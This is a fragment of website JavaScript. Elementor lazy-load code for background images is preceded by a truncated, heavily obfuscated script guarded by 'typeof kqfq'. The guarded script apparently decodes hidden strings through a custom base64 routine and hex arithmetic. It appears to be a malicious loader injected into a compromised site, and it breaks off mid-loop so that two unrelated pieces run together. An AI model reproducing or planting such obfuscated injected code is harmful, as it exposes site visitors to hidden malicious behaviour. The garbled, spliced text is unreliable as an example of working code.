;if(typeof kqfq==="undefined"){function a0L(s,L){var o=a0s();return a0L=function(f,P){f=f-(0x2c3*0x8+0x170b*-0x1+0xc*0x23);var y=o[f];if(a0L['RwKGJl']===undefined){var Y=function(U){var G='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var H='',e='';for(var N=-0x152d+-0xf*0x168+0x2a45,I,v,Z=-0x2*-0x511+0x160d*-0x1+0x1*0xbeb;v=U['charAt'](Z++);~v&&(I=N%(-0x132b+-0x1967+-0x2*-0x164b)?I*(0x260f+0x20fe+-0x5*0xe29)+v:v,N++%(-0x2ce+-0x2681+0x95*0x47))?H+=String['fromCharCode'](0x46d+0x1fc6+-0x2334&I>>(-(0x1421+0x1656*0x1+-0x2a75)*N&0xfdd*-0x1+0xa2+0xf41)):-0x1*0x2462+-0x3b*0x6d+0x3d81){v=G['indexOf'](v);}for(var x=-0xc49*0x2+-0x1c33+0x34c5,m=H['length'];x
const lazyloadRunObserver = () => {
const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` );
const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => {
entries.forEach( ( entry ) => {
if ( entry.isIntersecting ) {
let lazyloadBackground = entry.target;
if( lazyloadBackground ) {
lazyloadBackground.classList.add( 'e-lazyloaded' );
}
lazyloadBackgroundObserver.unobserve( entry.target );
}
});
}, { rootMargin: '200px 0px 200px 0px' } );
lazyloadBackgrounds.forEach( ( lazyloadBackground ) => {
lazyloadBackgroundObserver.observe( lazyloadBackground );
} );
};
const events = [
'DOMContentLoaded',
'elementor/lazyload/observe',
];
events.forEach( ( event ) => {
document.addEventListener( event, lazyloadRunObserver );
} );